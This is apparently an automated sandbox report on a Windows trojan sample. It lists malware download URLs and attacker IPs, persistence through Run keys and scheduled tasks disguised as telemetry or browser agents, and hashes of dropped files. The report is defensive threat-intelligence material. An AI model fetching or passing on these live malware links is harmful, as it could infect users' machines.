http://74.201.28.62/book/KB5009812.png	true	Avira URL Cloud: safe	unknown
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	true	Avira URL Cloud: malware	unknown
http://74.201.28.62/book/KB5009812.exe	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://81.163.30.181/l3.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://t0.tiles.ditu.live.com/tiles/gen19	svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000A.00000002.308487293.0000021A33224000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	3BC6.exe, 0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp, 3BC6.exe, 0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000003.305050188.0000021A33256000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000A.00000003.304930787.0000021A33268000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308781800.0000021A3326A000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	false		high
http://schemas.microsoft.	svchost.exe, 00000007.00000002.536270929.000002A7E56AB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.554990269.000002A7EAC62000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000002.430423414.00000137968EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000002F.00000003.407630101.00000137971A4000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407734160.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407790447.0000013797602000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407773416.000001379718D000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407700908.00000137971A4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000002.308487293.0000021A33224000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000A.00000002.308706855.0000021A3324D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305040244.0000021A33246000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308656175.0000021A3323A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://%s.dnet.xboxlive.com	svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
40.93.207.0	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.142.143.116	patmushta.info	Russian Federation	35196	IHOR-ASRU	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
74.201.28.62	unknown	United States	35913	DEDIPATH-LLCUS	true
8.209.70.0	host-data-coin-11.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.133.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
81.163.30.181	unknown	Russian Federation	58303	IR-RASANAPISHTAZIR	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553412
Start date:	14.01.2022
Start time:	21:03:19
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	OG9rNsihJ7.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@60/37@100/15
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 23.5% (good quality ratio 16.1%) Quality average: 52.1% Quality standard deviation: 40.6%
HCA Information:	Successful, ratio: 58% Number of executed functions: 111 Number of non-executed functions: 304
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.35.236.56, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179, 104.208.16.94, 20.54.110.249, 20.42.73.29, 104.26.13.31, 104.26.12.31, 172.67.75.172 Excluded domains from analysis (whitelisted): client.wns.windows.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, iplogger.org, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, microsoft.com, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: OG9rNsihJ7.exe

Simulations

Behavior and APIs

Time	Type	Description
21:04:25	API Interceptor	10x Sleep call for process: svchost.exe modified
21:04:56	Task Scheduler	Run new task: Firefox Default Browser Agent B300E2CA9C9656AE path: C:\Users\user\AppData\Roaming\vfgiwcs
21:05:11	API Interceptor	1x Sleep call for process: 254E.exe modified
21:05:29	API Interceptor	1x Sleep call for process: WerFault.exe modified
21:05:55	API Interceptor	1x Sleep call for process: explorer.exe modified
21:06:32	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RegHost C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe
21:06:34	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
21:06:52	Task Scheduler	Run new task: services path: C:\Users\user\AppData\Roaming\Microsoft\services.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24860094463598098
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4P:BJiRdwfu2SRU4P
MD5:	C9689D25BCB7A6122C80D8D1248CD525
SHA1:	3626F8C656E1F3524CD70D2C237FBDC25AF8C26B
SHA-256:	A1B6750BEA5C766B4AC8A6D65695475180388153C3504BBBA66053A8BB3F9014
SHA-512:	1B132DCA5A85A0B510A84117A7F8CEEB2AD4591C24EFA651D6E39B2D94140F4D37E30DFBDC4A860D661E54188703ABD742AA3153ED9B6EEECEB0E16FA093D14F
Malicious:	false
Reputation:	unknown
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x962e81fb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2506309986392212
Encrypted:	false
SSDEEP:	384:M+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:TSB2nSB2RSjlK/+mLesOj1J2
MD5:	AEF5940564973C51F03B64B3BF5DAF42
SHA1:	B5A630CEDB208FCF5DE3E8C4EE6C1ECE9AC50644
SHA-256:	03AD212E8D9030DB0C6C1AE6B3C3560681FB1C5DC012CC75FECC751E81C39F6A
SHA-512:	B91EB9A7ACB63185D5304A2AEF6CEB973AD4F7C031BDB6BB51CECAF7A44AE1B44CC83DD2A9EA92051188AE0FA67FEF65D3B5C15F162EAFB5C400D0E6720FF44F
Malicious:	false
Reputation:	unknown
Preview:	....... ................e.f.3...w........................&..........w.......z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................k..t.....z...................iQ......z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07533799262335537
Encrypted:	false
SSDEEP:	3:rftl7Ev/2ff4lkl/bJdAtiX0/gqkf4l1all3Vkttlmlnl:DXinkt4ztQ3
MD5:	2107023193542ECC0970CB79A0C9E236
SHA1:	F5D4FD1244E423620174644F19B9F4C484DCA0A5
SHA-256:	9B5F9895367FCB9497C1DA993C21C355AA6937BF3FD1FD719E08EAAF905BCDD4
SHA-512:	1DA7C4DB4F8D644D2EADBE475EC111B408697B2E974C5943C9A1AD4230C0C57451AC5B0CCEC2F97C1E4C93D15CC2C2D291ECA6BDC40AD7574CBFC75959A3D929
Malicious:	false
Reputation:	unknown
Preview:	.1'......................................3...w.......z.......w...............w.......w....:O.....w...................iQ......z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_B1B2.exe_97263ecc359653bdc088fc4542e7f7e1a086af1b_57588827_1b13b61d\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8138460270665933
Encrypted:	false
SSDEEP:	96:zvFmoP1pgLnCDyaC9OQoJ7R3V6tpXIQcQec6tycEfcw3qhz+HbHg/8BRTf3o8Fa7:zvP1pKC+q8HQ0lLjIq/u7sZS274Itvu
MD5:	A718EF39D4118C87DFC94920D817BDB7
SHA1:	1C873AFB51135338D4F94B5A7F259BC0D7874793
SHA-256:	D295541AB8373183E475D1A7780D51C4C8AFEA49D4ECEA63F440B98656873954
SHA-512:	3AD8085642AB1655D958F37C3E0E0DCA86911047587D74A31B8A5E152AA3854BD8E41CC9074F4481444F0B170DD69CF1B184E7D0F26D414EA87F3CF9EC50AE8F
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.9.6.7.1.1.6.5.9.9.5.2.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.9.6.7.2.8.0.1.9.3.7.0.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.5.7.b.a.b.9.-.4.c.8.a.-.4.4.1.d.-.8.5.3.c.-.8.7.b.3.5.1.1.7.8.c.0.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.c.c.4.2.1.3.-.8.3.c.d.-.4.4.a.a.-.b.4.9.1.-.5.a.a.9.6.6.d.8.2.f.4.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.B.1.B.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.0.c.-.0.0.0.1.-.0.0.1.6.-.6.6.7.3.-.e.6.7.2.c.d.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.4.3.2.a.e.1.c.8.6.8.c.9.6.1.2.8.e.c.a.0.4.a.e.4.c.5.4.4.7.e.6.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.B.1.B.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1914.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	49372
Entropy (8bit):	3.067630685633625
Encrypted:	false
SSDEEP:	1536:SrHbYM8XsdtCvsOVnMZFRInPK/AyqP0b5Nt6:SrHbYM8XsdtCvsOVnMZFRIPK/AyqP0bg
MD5:	338F750C272EF10F787C1E43F7469E7C
SHA1:	6BAD6258FA53FAC05D2F096E899F246786E4A3F0
SHA-256:	4A99A6B112F2BC0F1B2EE04E5A0E555EBCC6685B1F3735577DBD42D6FBE86085
SHA-512:	E7D72CBE85F51D6D393F3EDCFD3518CCD7C5254A6DA052111D957B0644BBB75AB5FF978E9A7B9300D71FEDE41D288BB64931E8F906F5836464558E6978124598
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20E5.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6954899185007766
Encrypted:	false
SSDEEP:	96:9GiZYW+L4ZOtYzYIfRWLEH9UYEZJsJtMifFSySwmM7azdv30JiIU83:9jZD+fUlKscaazd/0JFU83
MD5:	7C2AA9B20C71B8DD577514C4DDBBD712
SHA1:	463B97C6A6F96546361BF21B6317E9293607FA2F
SHA-256:	8C1BF6329AB684529639CC05DBF3B1780CF840DC68291086737CB14EAD142A10
SHA-512:	1093A857D78BD1CEC600A6B6DBD50166CB7CEC200129E3A88F877AE91B1A92F148B5946E8FEE0FC3E9DC6D388CE9F5639DDCD4B58EEF98AFB9F61DCE93C37903
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER472.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.700501604073412
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiLe696YIhSUFEgmfIRSHCpDg89bo2HlsfIYm:RrlsNiS696YeSUGgmfIRSao/f+
MD5:	4B651050CA6DE05729DB037C8478C51F
SHA1:	0BF9C319562E7CC3201B2DED04AAD2231E896310
SHA-256:	AD3B556FE1FE1665E2FE34EC93BA192963A2E9CDA8BC79E0CA94B61A97D2B727
SHA-512:	28A03C0F8399AA0F8A121B51EAAA0E5CCC6530AA3015959673B489CD3847CC89105A6E82D766C1C6F6379B60D71A4EBB5C8700D651B0BC162181E9447FEF147B
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB49.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.473771438286213
Encrypted:	false
SSDEEP:	48:cvIwSD8zsLJgtWI9IOWSC8BJG8fm8M4JHl8qFBD4+q8vX8p5PnzmdU1d:uITfljvSNzDJH7EKu5PnCdU1d
